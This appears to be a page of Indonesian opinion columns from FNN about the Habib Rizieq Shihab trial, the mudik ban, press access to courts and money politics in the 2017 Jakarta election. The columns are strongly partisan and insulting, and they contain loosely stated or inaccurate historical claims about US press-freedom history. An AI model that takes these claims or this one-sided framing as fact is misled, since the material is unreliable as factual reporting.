by Bambang Tjuk Winarno Madiun FNN - Terbentur, terbentur, lalu terbentuk. Itulah sosok Munarman, yang saat ini tengah berjibaku mati-matian menghadapi instrumen hukum pemerintah, demi membela kepentingan yuridis kliennya, Muhammad Habib Rizieq bin Hussein Shihab Lc., MA., DPMSS, yang dikenal dunia dengan nama Habib Rizieq Shihab (HRS). Sejak persidangan perdana di Pengadilan Negeri Jakarta Timur, Selasa (16/03) Munarman langsung tancap gas. Pria tiga anak kelahiran Palembang, Sumatera Selatan, 56 tahun silam ini tak menampakkan model dialog permisif dan kompromistis atas berbagai delik hukum yang dipandang tidak tepat. Bicaranya lepas dan tak terhalangi. Laksana rajawali yang terbang kesana-kemari memburu mangsa yang sedang lengah hati. Pantang turun, sebelum para musuh terkapar di diantara gurun. Hingga peristiwa heroik Munarwan itu disaksikan di sidang berikutnya, Selasa (23/03). Suasana ruang sidang menjadi crowded. Di ruang serba berjubah hitam itu terjadi insiden panas namun logis. Dengan air mukanya yang dingin, namun terkombinasi dengan sorot mata yang tajam seperti burung elang, Munarman terpaksa "menggurui" Khadwanto selaku Ketua Majelis Hakim. Ketika Munarman bicara, tampak seperti guru yang menerangkan pelajaran kepada murid. Semua terdiam dan menyimak. Menjawab Hakim Ketua yang tetap ngotot akan menyidangkan HRS via video streaming dengan dalih sesuai Perma (Peraturan Mahkamah Agung), Munarman nampak tak sabar. Seakan ingin segera "menguliahi" Hakim Ketua. Menurunkan masker penyumpal hidung sebatas dagu. Lalu bicara sambil mendelik tanpa kedip ke arah Hakim Ketua. Bicaranya tegas. Tidak ragu ragu. Pertanda dia menguasai persoalan yang sedang dia kerjakan. "Nggak bisa, nggak bisa, tidak bisa Undang Undang dirubah rubah dengan peraturan di bawahnya. Kami paham, kami mengerti hukum, kami bukan orang bodoh. Merubah Undang Undang ya harus dengan Undang Undang," sergap Munarman menggeleng gelengkan kepalanya, seolah menaruh heran atas ketidak pahaman Hakim Ketua. Ini terkesan seperti perhukuman. Wouw.....advokasi Munarman terasa dingin dingin empuk. Makin ditelan kian terasa mrinding _mrinding sedapppp.... Dan bikin kangennnn.... Malah, secara insinuatif, Munarman seakan menganggap Majelis Hakim bertindak konyol. Milsanya, majelis hakim meminta pengacara untuk melakukan uji materi Perma ke Mahkamah Agung. "Mana mungkin. Perma itu yang bikin Mahkamah Agung. Kok kita disarankan melakukan uji materi ke MA? Itu kan konyol," wejangan Munarman, sembari menjatuh jatuhkan penampang lima jari tangan kanannya ke meja tempat duduk, tidak habis pikir. Untuk itu, berdasar perundang undangan dan contoh contoh persidangan lain (yurisprudensi), Munarman bersikukuh meminta agar persidangan digelar dalam keadaan tatap muka, terutama terhadap HRS selaku terdakwa. Pada sesi persidangan yang lain, Munarman membentak-bentak dan menunjuk-nunjuk Jaksa Penuntut Umum (JPU) yang duduk di bangku seberangnya. Hal itu disebabkan jaksa turut menyela-nyela ketika Munarman tengah memberikan penjelasan kepada Hakim Ketua. Hardiknya keras. "Ini giliran saya, ini giliran saya, ini giliran saya. Saudara diam, saudara diam". Sejurus setelah debat hukum, Munarman dan timnya keluar ruang sidang. Tanda berani membangkang. Menunjukkan idealisme kebenaran yang kuat erat. Munarman tidak berani mengambil resiko dengan terus mengikuti sidang, dalam kondisi prosedur persidangan yang dianggapnya tidak sesuai aturan. Maka, walk outnya Munarman seperti pilot jet tempur yang melakukan bail out. Terjun dengan kursi pelontar, dalam kondisi yang tidak mungkin lagi melakukan penerbangan. Disini terlihat Munarman seakan-akan melakukan impunity terhadap kesewenang-wenangan hakim dan jaksa. Berdebat di persidangan dan secara logis menang, adalah mahkotanya lawyer. Diplomasi hukum Munarman memang top, berkalas dan menang. Karena arguemntasinya masuk akal. Hal itu ditegaskan Hakim Ketua, Suparman Nyompa, di persidangan sesi berikutnya. Maelis hakim mengabulkan permohonan HRS untuk bersidang langsung dalam satu ruang sidang. Meski sebelumnya, dalam keadaan sudah tak direken Munarman dan kawan-kawan, hakim Khadwanto tetap menolak permintaan Munarman. Dia ngotot online, merujuk pada Perma (Peraturan Mahkamah Agung) yang membolehkan sidang secara maya. Dimengerti atau tidak, sebenarnya Munarman tengah bertarung sendirian di kalangan para musuh. Yah, single fighter dia. Apakah itu jaksa, hakim maupun polisi yang berjaga jaga, hampir semuanya adalah instrumen pemerintah. Representasi dari pemerintah yang dipimpin Jokowi. Sebab, pada dasarnya Jaksa Penuntut Umum tidak lain adalah pengacara pemerintah. Mengikuti cara dan gaya Munarman bersidang penuh nyali dan kompetensi. Menjadi mirip dengan keberanian tokoh reformasi, Amien Rais, yang berani berteriak dalam iklim politik yang tidak semua orang bisa melakukannya. Siapa yang berani melawan the smiling generald Pak Harto? Sebagaimana Munarman, Amien Rais juga praktis sendirian ketika melawan pemerintah Orde Baru waktu itu. Hingga akhirnya meletus malapetaka reformasi 98. Pak Harto jatuh. Para pemberani seperti Munarman dan Amin Rais itu bukan tidak sadar akan resiko. Mereka sadar. Namun karena terlanjur tenggelam dalam kebenaran akidah Islam, semua yang dilakoni menjadi tidak menakutkan. Jika semakin terjadi benturan-benturan, mereka kian terbenam di titik nadir prinsip memperjuangkan kebenaran. Hingga akhirnya terbentuk. Bagi oportunis, menjadi pejuang itu sesuatu yang tidak enak. Sengsara dan tidak banyak kawan. Namun dalam pandangan pejuang, sendiri sanggup mengangkat langit. Bersama sama bisa menenggelamkan bumi. Para pejuang seperti Munarman dan Amin Rais ini, umumnya baru diterima publik yang tadinya tidur, manakala hasil perjuangannya ternyata benar. Bermanfaat untuk umum. Seperti tulisan Dahlan Iskan disebuah platform suatu ketika. Kata Dahlan Iskan, orang yang sebelumnya acuh tak acuh baru akan mengelu-elukan seorang pejuang, manakala hasil perjuangannya terbukti benar dan faedah. Sebab itu, saran Dahlan Iskan, bila meyakini apa yang dilakukan itu adalah sesuatu benar, jangan ragu. Lakukanlah sekalipun orang lain tidak peduli. Perjalanan Munarman belum berujung. Masih akan ada "perkelahian perkelahian" lanjutan. Tidak ada orang ragu. Karena Munarman seakan ditakdir sebagai "simbol dan lambang kebenaran". Berani berkelahi di rumah sendiri, itu anak kecil yang baru mulai belajar merangkak. Tetapi, duel tangan kosong ala cowboy di areal musuh adalah pria mboys. Dia tidak sekedar memiliki nyali. Namun dia juga menguasai ilmu "pencak silat" sekelas Barda Mandrawata alias Si Buta dari Goa Hantu. Jenis laki-laki macam ini, jika dalam dunia peradu jotosan di atas ring, tidak lain adalah si leher beton berkepala baja, Mike Tyson. Belum pernah tersaksikan dia dihadapkan musuh imbang, apalagi di bawahnya. Semua lawan dengan fitur dan postur tubuh yang lebih tinggi di darinya, selalu diciumkan Tyson ke kanvas di ronde ronde awal. Cerita ayam jago kesayangan Cidelaras. Meski berpostur tidak begitu besar dan tinggi, namun gaprakannya mengakibatkan sang lawan kejeng-kejeng bak ayam yang baru disembelih. Para begundal pemilik ayam jago seisi hutan pun dibikin keok. Penikmat FNN yang budiman. Munarman adalah rajawali yang berani terbang tinggi walaupun sendirian. Jejak hidupnya terkumpul menjadi satu dengan para jurnalis, berupa lembaran berita yang enak ditulis dan dibaca. Penulis adalah Wartawan FNN.co.id.

Pilkada Boleh Ngumpul, Mudik Dilarang

by M. Rizal Fadillah Bandung FNN - Pemerintah secara resmi melarang warga untuk melaksanakan mudik lebaran. Alasan pemerintah karena penularan Covid 19 yang masih tinggi. Bahkan untuk mencegah masyarakat melakukan mudik lebaran tahun ini, akan dikakukan pengawasan yang ketat. Aparat akan dikerahkan untuk mencegah dan menghalau masyarakat pulang kampung. Kebijakan pemerintah ini bertolak belakang dengan pernyataan sebelumnya dari Menteri Perhubungan (Menhub) Budi Karya Sumadi. Sebab ketika melakukan rapat kerja dengan Komisi VI DPR beberapa waktu lalu, Menhub Budi Karya telah menyatakan bahwa mudik tahun ini tidak akan dilarang. Sudah menjadi kebiasaan pemerintah Presiden Jokowi kalau “pagi tempe, sore dele”. Mudik tidak harus dilarang. Kalau sampai dilarang, masalahnya dianggap sangat diskriminatif. Wisata dan kerumunan lain tampak dimana-mana. Toh, itu boleh-boleh saja. Apalagi mudik lebaran itu budaya yang telah melembaga pada masyarakat Indonesia. Ada nilai silaturahmi dan spiritualitas. Bahwa ada aturan prokes yang mesti dijaga tetap dijalankan sebagaimana mestinya. Orientasi negara ini selalu saja pada aspek ekonomi. Padahal pandemi pun dapat diterobos dengan alasan menggerakkan roda ekonomi. Sementara pada aspek keagamaan tidak menjadi prioritas. Bahkan nyata-nyata dipinggirkan. Budaya keagamaan ikut terdampak oleh kebijakan materialistis dan pragmatis seperti ini. Padahal nilai ekonomis mudik sebenarnya cukup besar. Dahulu pernah ada seorang Menteri yang mengancam pidana bagi yang mudik. Alasannya menentang kebijakan Pemerintah atas pelaksanaan UU Kekarantinaan Kesehatan. Penafsiran ini sempit, picik, kerdil dan tendensius. Kepentingan non agama yang berkonsekuensi kerumunan dibolehkan. Mau minta bukti? Lihat itu kampanye saat Pilkada 2020 yang lalu. Pelanggaran terberat yang dilakukan Pemerintah Presiden Jokowi saat ini dalam konteks pandemi Covid 19 adalah tidak dijalankannya prinsip "equality before the law". Pemerintah melakukan diskriminasi dalam penegakan hukum. Atau mungkin juga karena pemerintah tidak terlalu memahami apa itu "equality before the law"? Mudik dilarang sementara pasar dan wisata boleh-boleh saja. Malah semakin marak dan ramai. Mall-mall penuh sesak dengan manusia. Cari parkir saja susah. Bisa putar-putar setengah jam beru dapat parkir. Menteri Pariwisata dan Ekonomi Kreatif yang baru Sandiaga Uno diamanati untuk menggalakkan pariwisata. Kebijakan yang sesungguhnya tidak sehat. Di sisi lain Sekretaris Jendral Organda mempertanyakan larangan mudik tahun ini, sebab sebagaimana tahun lalu, prakteknya mudik tidak mudah untuk dicegah. Menurutnya yang justru menjadi sasaran adalah bus dan kendaraan umum saja. Kendaraan kecil tetap dapat mudik yang dengan berbagai cara meloloskan diri dari cegatan. Artinya lagi-lagi masalahnya ada pada inkonsistensi dan keadilan. Selama kebijakan Pemerintah masih ambigu, tebang pilih, dan hanya berorientasi pada kepentingan ekonomi dan politik, maka daya dukung publik terhadap kebijakan apapun akan rendah. Artinya selalu saja menjadi kontra produktif. Kredibilitas terus merosot dan aurat kekuasaan semakin terbuka terang benderang. Auratnya memalukan. Penulis adalah Pemerhati Politik dan Kebangsaan.

Kepada Yang Mulia Prof. Dr. M. Syarifuddin, Ketua Mahkamah Agung

Ketika menghadapi suatu permasalahan, kita biasanya melihat aturan atau formula yang ada untuk menyelesaikan masalah tersebut. Padahal dalam banyak kejadian, aturan atau formula itu tidak dapat deterapkan untuk menyelesaikan permasalahan secara tuntas. Untuk itu, tetap diperlukan proses kreatif untuk menjejaki kemungkinan lain di luar dari aturan atau formula tersebut. Disini, seni berfikir dan menganalisis suatu permasalahan dikedepankan untuk mencoba keluar dari pakem yang ada. Inilah tempat yang disebut heurestika, karena berupaya menemukan solusi (Yang Mulia Prof. Dr. Muhammad Syarifuddin SH. MH.) HUKUMLAH Habib Rizieq seberat-beratnya sesuai dengan kadar kesalahannya, bila ditemukan bukti-bukti di persidangan bahwa beliau memang bersalah. Sebaliknya, bebaskan Habib Rizieq bila tidak ditemukan bukti di persidangan kalau beliau bersalah. Namun di atas semua, harap Yang Mulia jangan membuat kebijakan, atau apapun namanya yang membatasi masyarakat pers untuk menyaksikan dan meliput fakta-fakta yang mungkin muncul dari persaidangan ini. Persidangan ini diikuti tekdakwa Habib Rizieq dengan rombongan penasehat hukumnya. Ada juga kawanan Jaksa Penuntut Umum (JPU), serta Yang Mulia Ketua dan dua anggota Majelis Hakim dari Pengadilan Negeri Jakarta Timur. Kami tentu saja berprasangka baik (husnudzon) bahwa semua yang terlibat dalam persidangan Habib Rizieq Sihab dan lima pentolan Front Pembela Islam (FPI) ini adalah orang-orang yang taat kepada hukum. Mereka semua orang-orang yang sedang diuji ketaatannya kepada hukum di republik ini. Sayangnya, mereka bukanlah malaikat yang tidak punya kekurangan,dan kesalahan selama persidangan ini berlansung. Kekurangan itulah yang menjadi tugas dan tanggung jawab setiap insan pers sebagai masyarakat sipil dan kekuatan keempat dari pilar demokrasi (civil society the dan four of state democration) untuk mengkritisi dan mengoreksinya. Wajah Baru Peradilan Dunia peradilan Indonesia, kini tampil dengan wajah baru, yang jorok, busuk dan primitif. Sebab pers dibatasi ruang geraknya untuk meliput sidang perkara di pengadilan. Ini telah terjadi di Pengadilan Negeri Jakarta Timur pada persidangan perkara Habib Rizieq Sihab. Dalam sidang perkara ini, insan Pers tak diberi akses bebas sebagaimana biasa mereka nikmati pada setiap peliputan persidangan selama ini. Prilaku pengadilan yang aneh, jorok, tolol dan menakutkan kebebasan pers. Andai saja pembatasan akses itu sepenuhnya dibuat majelis hakim, karena independensi mereka menyelenggarakan sidang, tetap saja itu menakutkan. Bahkan sangat jorok andai pembatasan terhadap kebebasan insan pers mendapat informasi itu dilakukan atas perintah, imbauan atau apapun namanya dari Mahkamah Agung. Pembatasan ini, andai dilakukan majelis hakim Pengadilan Negeri Jakarta Timur atas Surat Edaran atau Instruksi atau apapun itu namanya dari Direktur Jendral Badan Peradilan Umum (Badilum) Mahkamah Agung, jelas jorok, jijik dan busuk. Karena kenyataan ini menjelaskan satu hal, yaitu independensi hakim ternyata dapat dipatahkan, diinjak-injak dan robek-robek oleh induknya Mahkamah Agung, semudah orang gila merobek-robek selembar kertas tisu. Independensi hakim jadinya tidak lebih dari sekadar topeng rusak dipakai oleh pengembala domba. Ini menyedihkan, jorok, sekaligus menakutkan. Untuk alasan apapun, tindakan ini tidak memiliki nalar hukum di negeri ini secara obyektif. Itu sebabnya sikap ini sangat pantas dikutuk sebagai sikap, yang selain merusak independensi hakim, juga merusak demokrasi dan kebebasan masyarakat sipil. Tahukah tuan-tuan yang dipanggil dengan “yang mulia” itu ketika independensi melayang, maka keadilan hancur berkeping-keping. Keadilan berubah dan mengambil wujud sebagai penindasan. Hakim dan pengadilan dengan sendirinya menjadi perpanjangan tangan aparatur dan lembaga penindas. Pejabat-pejabat administrasi di Sekertariat Jendral Mahkamah Agung harus tahu itu. Bukan hanya sekadar tahu bahwa independensi itu diciptakan untuk memahkotai hakim-hakim. Tujuannya sangat mulia, agar hakim dan pengadilan menjadi benteng keadilan rakyat. Bukan alat produksi ketidakadilan dan benteng rezim oligarkis dan konglomerasi busuk, picik, dan tamak. Andaikan benar sikap majelis hakim membatasi pers itu disebabkan Surat Edaran Dirjen Badan Peradilan Umum, maka tidak ada alasan sedikit untuk Ketua Mahkamah Agung menutup mata terhadap masalah ini. Ketua Mahkamah Agung, yang bergelar profesor doktor ilmu hukum itu tidak bisa membiarkan dunia peradilan dirusak dengan surat edaran, instruksi atau apapun dari pejabat administrasi di lingkungan Kesekjenan Mahkamah Agung. Tidak bisa itu. Yang Mulia Prof. Dr. Muhammad Syarifudin SH. MH, kalaulah Surat Edaran Dirjen Badan Peradilan Umum benar ada, maka itu sangat membahayakan keadilan dan kebebasan di republik ini. Sebab sebagai the four of state democration, meskipun tanpa digaji oleh negara, insan pers wajib hukumnya untuk mengawasi dan mengkritisi setiap penyelenggara negara yang digaji dari pajak rakyat. Diskresi konyol dan tolol melalui surat edaran atau instruksi sejenis itu, tidak bisa dibiarkan. Ini benar-benar merusak dunia peradilan dan keadilan Indonesia. Orang-orang administrasi itu, harus diingatkan untuk segera mencabut edaran, andai edaran itu benar-benar telah diterbitkan. Mengapa? Pertaman, kenapa baru sekarang diterbitkan? Apakah Ketua Mahkamah dapat menemukan argumen logis untuk menghindarkan konteks Edaran itu terkait dengan perkara Habib Rizieq Shihab? Sepintar apapun Ketua Mahkamah Agung yang Profesor Doktor ilmu hukum itu, pasti tidak bisa. Itu karena, momentum terbitnya surat edaran tersebut bersamaan. Setidaknya berada dalam kerangka keriuhan sidang Habib Rizieq Shihab. Telah menjadi kenyataan umum, semula sidang Habib Rzieq Shihab itu dipaksakan online.Kemudian berubah jadi ofline. Perubahan itu terjadi setelah debat panas antara Habib Rzieq Shihab dengan Jaksa Penuntut Umum, yang diramaikan oleh Majelis Hakim. Seperti itulah esensinya, suka atau tidak. Kedua, Ketua Mahkamah harus bersikap tegas menindak orang-orang administrasi itu, karena surat edaran itu, andai benar-benar ada, dapat ditafsir secara liar oleh orang banyak bahwa keadilan dalam kasus ini benar-benar sudah dihancur. Hukuman terhadap Habib Rizieq benar-benar telah disiapkan. Sidang ini tidak lebih dari sekadar membangun legitimasi konyol bahwa kasus ini pernah disidangkan. Hukuman itu, dengan demikian bisa dipesan. Itu artinya persidangan tidak berlangsung menurut prinsip-prinsip hukum. Putusan bisa dipesan atau ditetapkan sebelum sidang, bukan sesuatu yang tidak pernah terjadi dalam dunia hukum. Ini pengadilan khas rezim totaliter Nazi Jerman Adolf Hitler. Pengadilan diselengarakan sesuai prinsip koordinasi antara pengadilan dengan rezim. Bahaya sekali Yang Mulia. Sebagai professor dan doktor ilmu hukum, Ketua Mahkamah Agung harus tahu, bahwa kebabasan pers untuk mendapat informasi, tidak pernah dan tidak mungkin dengan alasan apapun, didelikan pada pers itu sendiri. Pers dimahkotai dengan kebebasan mendapat dan menyebarkan informasi. Karena hanya dengan cara itulah keadilan yang menjadi esensi bernegara. Dengan itu pula kemuliaan setiap orang dalam republik dapat diberi jaminan maksimum. Syarat Berdirinya Amerika Kebebasan mendapatkan dan menyebarkan informasi yang didapat di tengah masyarakat adalah cara merawat akal sehat dalam kehidupan. Bukan hanya akal sehat dalam bernegara, tetapi juga bermasyarakat. Itu adalah cara orang-orang waras menjaga energi kehidupan di republik ini. Sebab energinya adalah informasi itu memberi setiap orang memiliki kesempatan berpikir dan membangun harapan untuk kehidupannya di masa depan. Yang Mulia Prof. Dr. Muhammad Syarifuddin SH. MH, karena kebebasan pers itulah yang menjadi esensi penolakan dari ke-13 Negara Bagian untuk ikut bergabung dan meratifikasi UUD Amerika Sertikat, yang dibuat pada Philadelphia Constitutional Convention 1787. Empat tahun kemudian, amandemen pertama UUD Amerika Serikat itu, yang berisi sepuluh pasal, yang di dalamnya termasuk kebebasan pers. Yang Mulia pasti tahu bahwa masalah kebebasan pers harus dibuat dan dijadikan sebagai imbalan terbesar terhadap 13 Negara Bagian untuk membubuhkan tanda tangan untuk bergabung dan menerima UUD Amerika Serikat tahun 1791. Begini bunyinya, “Kongres dan Presiden Amerika Serikat dilarang membuat rancangan undang-undang yang membatasi kebebasan pers”. Berfikir untuk membuat rancangan UU yang membatasi kebebasan pers saja sudah dilarang oleh konstitusi Amerika Serikat. Apalagi sampai membuat rancangan UU-nya, dipastikan dilarang lagi. Karena persoalan kebebasan pers itu menjadi salah satu syarat utama berdirinya negara Amerika Serikat. Yang Mulia Pak Ketua Mahkamah Agung, tahun 1734 terjadi satu kasus menarik dalam soal kebebasan pers ini. John Peterzenger menulis kriitik bahwa warga jajahan tidak mendapatkan pengadilan yang fair. Kritik ini dinilai kotor, menyinggung pemerintahan jajahan (Inggris). John Peterzenger lalu diadili. Tetapi apa yang terjadi kemudian? Para Juri membebaskannya. Zenger, dalam sidang perkaranya dengan setengah mengatakan bahwa dia punya hak untuk mengeritik. Bahkan kritik yang dianggap cemohan oleh pejabat publik, sepanjang kritik itu benar, sah-sah saja. Inilah salah satu tonggak sejarah tentang kebebasan pers. Tahun 1798 James Thomson Callender, didakwa membuat tulisan “fitnah” karena menyebut Presiden John Adam di tahun 1800 sebagai “penghasut tua bangka yang tangannya berbau busuk darah”. Callender dihukum. Tetapi segera setelah John Adam tersingkir dari kursi presiden, dan digantikan oleh Thomas Jefferson, James Thomson Callender dibebaskan. Tahun 1868 Amerika kembali melakukan amandemen ke-14. Amendemen ini menguatkan hak setiap orang untuk hak hidup. Memiliki kebebasan dan memiliki harta benda. Hak-hak ini tidak boleh dicabut, tanpa melalui due process of law. Itu sebabnya Mahkamah Agung Amerika Serikat, dalam sejumlah kasus menjadikan kebebasan pers mendapatkan dan menyebarkan informasi, termasuk orang berpendapat harus diperluas. Sutherland, Hakim Agung pada Supreme Court Amerika Serikat berpendapat terminologi “liberty” itu sangat luas, dan mencakup beragam kebebasan yang dijamin dalam amandemen ke-14. Amendemen ke-14 dinilai sebagai penegasan due process clause. Bagi Hakim Agung Sutherland , semua pembatasan kebebasan yang dilakukan oleh negara menjadi tidak sah, sekalipun dilakukan dengan menggunakan UU masih berlaku. Sudahlah, hentikan semua pembatasan pada sidang perkara Habib Rizieq Shihab dan lima anggota FPI lainnya. Apalagi kalau, misalnya hukuman untuk dirirnya telah dikordinasikan dan ditetapkan. Justru semakin tidak ada faedahnya menutup-nutupi sidang dari pers. Mau sembunyikan dakwaan Jaksa yang dinilai oleh pengacaranya dan habib Rizieq menyesatkan itu? Kan tidak mungkin. Mau sembunyikan perilaku Jaksa penuntut umum? Bagiamana caranya? Tidak mungkin juga bisa disembunyikan. Jadi pilihan terbaiknya adalah buka akses seluas-luasnya untuk pers meliput. Peradilan ini akan dinilai orang sebagai “dagelan jorok dan tolol”, bahkan pengadilan sebagai alat rezim ini, bila pembatasan terhadap pers masih ditemukan pada sidang-sidang berikutntya. Terakhir Yang Mulia Prof. Dr. Muhammad Syarifuddin SH. MH, lakukan langkah-langkah kecil, namun penting dan strategis. Langkah yang sesuai jiwa dan kebesaran “Heurestika Hukum” yang sangat top, berkelas dan mengagumkan itu. Tujuannya untuk menyelamatkan wajah hukum republik ini yang sudah bopeng dan membuat rakyat apatisme. Kini hanya tinggal lembaga peradilan, yang dengan segala kelebihan dan kekuarangannya di sana-sini, masih diharapkan oleh rakyat. Lembaga peradilan masih dipercaya untuk menabur setitik mozaik keadilan di tengah kegalapan hukum yang sudah terlanjur amburadul dan berantakan ini. Apalagi adanya terobosan dan kebesaran “Heurestika Hukum” dari Yang Mulia.

Politik Uang Memicu Ketegangan Politik Identitas, Residu Pilgub DKI Jakarta

by Abdurrahman Syebubakar Jakarta, FNN - Stigmatisasi Islam politik di Indonesia makin mengemuka paska pilgub DKI 2017, dengan tumbangnya Ahok - ikon politik kelompok anti-demokrasi (hiper-nasionalisme, pluralisme represif, Islam-fobia, dan oligarki). Berada di barisan politik kekuasaan, berbagai varian kelompok anti demokrasi ini menggunakan segala cara, termasuk tindakan represif, untuk menyingkirkan Islam politik. Bermodal minoritas ganda dan dukungan kelompok anti-demokrasi, Ahok berhasil membangun citra korban politik identitas. Meluasnya oligarki, korupsi, kemiskinan, dan politik represif di DKI Jakarta ketika Ahok berkuasa tertutup citra palsunya sebagai korban politik identitas. Kekalahan Ahok di pilgub DKI 2017 juga ditimpakan pada peran sentral politik identitas. Hingga kini, isu politik identitas, yang disematkan pada kalangan Islam politik sebagai faktor utama kekalahan Ahok di pilgub DKI, dipelihara dan dimanipulasi kelompok anti demokrasi. Patut disayangkan, kaum intelektual dan para pengamat politik, termasuk sebagian kalangan Indonesianis, ikut memelihara citra palsu Ahok sebagai korban politik identitas. Mereka mengandaikan kemenangan Ahok pada pilgub 2017 jika tidak terjadi mobilisasi massa Islam anti-Ahok. Bagaimana Logika & Fakta Elektoral? Membaca data elektoral sebelum dan setelah pencoblosan, sentimen politik identitas bukan faktor penentu kekalahan Ahok. Lebih karena terkuaknya kebobrokan cagub petahana ini selama memimpin ibukota dan kecurangan dalam pilgub. Puncaknya, ketika tim Ahok tertangkap basah menebar paket sembako secara masif – bertruk truk di masa tenang, menjelang pencoblosan. Jadi, masuk akal, jika mayoritas swing-voters dan undecided-voters serta sebagian pemilih non-sosiologis Ahok-Djarot, dengan pertimbangan rasional, akhirnya menjatuhkan pilihan pada pasangan Anies-Sandi. Hal ini dapat dijelaskan dengan elektabilitas Ahok-Djarot, sebelum pencoblosan, tidak terpaut jauh dari pasangan penantang. Secara umum, selisih elektabilitas kedua pasangan ini masih dalam rentang margin of errors. Dengan kata lain, mereka dalam posisi seimbang. Survei Indikator pada awal April 2017, misalnya, mengungkap elektabilitas pasangan Ahok-Djarot sekitar 47 persen dan Anies-Sandi 48 persen. Survei Charta Politika menunjukkan tingkat keterpilihan pasangan Ahok-Djarot 47 persen, Anies-Sandi 45 persen. Survei-survei lain juga merekam elektabilitas kedua pasangan pada tingkat yang hampir sama. Kecuali dalam survei LSI, dukungan untuk pasangan Anies-Sandi mencapai 51 persen, unggul atas pasangan Ahok-Djarot yang hanya meraup 43 persen. Berdasarkan hasil final pilgub DKI yang diselenggarakan pada 19 April 2017, pasangan Anies Sandi menang telak dengan perolehan suara 58 persen, dan Ahok-Djarot 42 persen. Pasangan Anies-Sandi unggul di seluruh wilayah DKI Jakarta. Teori “bradley-effect”, yang dipakai untuk menjelaskan peran sentimen agama dibalik kekalahan Ahok, cenderung dipaksakan. Dengan teori ini, diduga pemilih muslim, saat survei elektabilitas, menyembunyikan antipatinya terhadap Ahok karena tidak mau atau takut dituding rasis. Dan ketika berada di bilik suara, sebagaimana diungkap Burhanuddin Muhtadi (2018), mereka urung memilih Ahok karena pertimbangan agama. Dalam hal ini, kemandirian dan keajegan pemilih berbasis politik identitas diabaikan. Sementara, pemilih tipe sosiologis ini tidak mudah mengalihkan dukungan karena alasan-alasan rasional dan pragmatis. Karakter mereka relatif stabil, tidak peduli dengan kinerja, atribut dan kualitas personal, tekanan sosial, dan iming-iming material. Kalaupun terpapar politik uang, tidak serta merta menjatuhkan pilihan pada calon yang tebar uang. Sejalan dengan tesis Francis Fukuyama, dalam bukunya “Identity: the demand for dignity and the politics of resentment” (2018), bahwa politik identitas merupakan ungkapan kebutuhan non-materi yang menuntut pengakuan dan penghargaan yang tidak dapat dipenuhi dengan instrumen ekonomi semata, tetapi membutuhkan respon menyeluruh dan non-diskriminatif. Fakta lain yang selama ini disembunyikan yaitu distribusi pemilih Muslim yang tidak terlalu timpang antara pasangan Ahok-Djarot dan Anies-Sandi. Sementara, mayoritas mutlak pemilih non-muslim menjatuhkan pilihan pada pasangan Ahok-Djarot. Artinya, proporsi non-muslim yang cenderung memilih atau tidak memilih berdasarkan sentimen agama jauh lebih besar dibandingkan kalangan muslim. Memang, kelompok Islamis sangat ekspresif dengan aspirasi dan orientasi politiknya, sehingga terkesan memonopoli permainan politik identitas. Sedangkan, kalangan non-Islamis dan non-muslim lebih bisa menyembunyikannya. Data elektoral di atas dengan sendirinya membantah impresi bias politik identitas ini. Politik uang sumber masalah dan memicu politik identitas Politik uang, yang dikenal dengan jual beli suara (vote-buying)) dalam literatur politik, merupakan praktik politik yang sangat “beracun”. Bank Dunia (2017) mencatat bahwa politik klientalistik [dimana politik uang menjadi komponen utama] merupakan sumber berbagai tantangan pembangunan global, mulai dari korupsi dan penyediaan layanan publik yang tidak memadai hingga kekerasan etnis dan penegakan hukum yang lemah. Politik uang menggerogoti demokrasi melalui berbagai jalur. Langsung atau tidak langsung, malpraktik politik ini mendorong terjadinya penyalahgunaan kekuasaan dan korupsi. Dalam jangka pendek, politik uang menggerus legitimasi penguasa. Selanjutnya, terjadi distorsi kebijakan publik yang berakibat pada ketimpangan sosial dan ekonomi. Hal ini bisa menjadi faktor pemicu menyeruaknya politik identitas dan kekerasan rasial. Fenomena ini bukan monopoli negara berkembang, tapi juga melanda negara-negara maju. Contoh paling mutakhir, menguatnya politik identitas dan hiper-nasionalisme disertai kekerasan rasial di Amerika Serikat merupakan akibat langsung dan tidak langsung dari komersialisasi politik. Joseph Stiglitz, peraih hadiah nobel ekonomi asal AS, menyebut demokrasi di negaranya sebagai demokrasi "one dollar one vote" bukan lagi "one man one vote". Menurut Stiglitz, demokrasi one dollar one vote ini menjadi penyebab memburuknya ketimpangan sosial-ekonomi. Bagaimana dengan Indonesia? Melalui riset politik di Indonesia, dua profesor politik ANU, Edward Aspinall dan Ward Berencshot (2019) menunjukkan bahwa politik klientalistik adalah akar dari berbagai tantangan yang dihadapi Indonesia. Sejak reformasi bergulir, terutama pasca pilpres langsung pertama 2004, praktik politik uang meningkat tajam. Sejumlah studi menemukan, pada pemilu 2009, sekitar 11 persen pemilih terpapar politik uang. Naik tiga kali lipat, mencapai sepertiga pemilih, masing-masing pada pemilu 2014 dan 2019. Pada saat yang sama, terjadi kemerosotan di berbagai bidang, mulai dari meluasnya korupsi, ketimpangan yang makin dalam, demokrasi dan kebebasan yang dibajak oligarki dan otoritarianisme, penegakan hukum yang diskriminatif, hingga menguatnya feodalisme dan dinasti politik, serta ketegangan sosial. Sebagai penutup, perlu digarisbawahi bahwa kita tidak menutup mata akan kebangkitan politik identitas dengan ragam ekpresinya, yang telah menjadi fakta sosio-politik Indonesia. Juga tidak mengenyampingkan dampak negatif politik identitas dalam dimensi ekstrimnya. Namun, akar masalahnya adalah sistem oligarkis yang bersenyawa dengan “onggokan sampah pemimpin plastik”, meminjam ungkapan Yudi Latif. Tipe pemimpin ini tidak saja minus wawasan kenegaraan dan kompetensi, tapi juga berjarak dari cahaya kebenaran dan keadilan. Politik uang menjadi jalur utama persenyawaan sistem oligarkis dengan pemimpin plastik, yang bermuara pada ketidakadilan. Pada gilirannya, ketidakadilan memperparah penderitaan dan ketersisihan (sebagian) rakyat, yang kemudian memicu ketegangan politik identitas. Penulis Ketua Dewan Pengurus IDem & Pegiat Demokrasi Sosial dan Anti-Korupsi.

Nama Tersangka Tak Diumumkan, Bagaimana Rakyat Percaya?

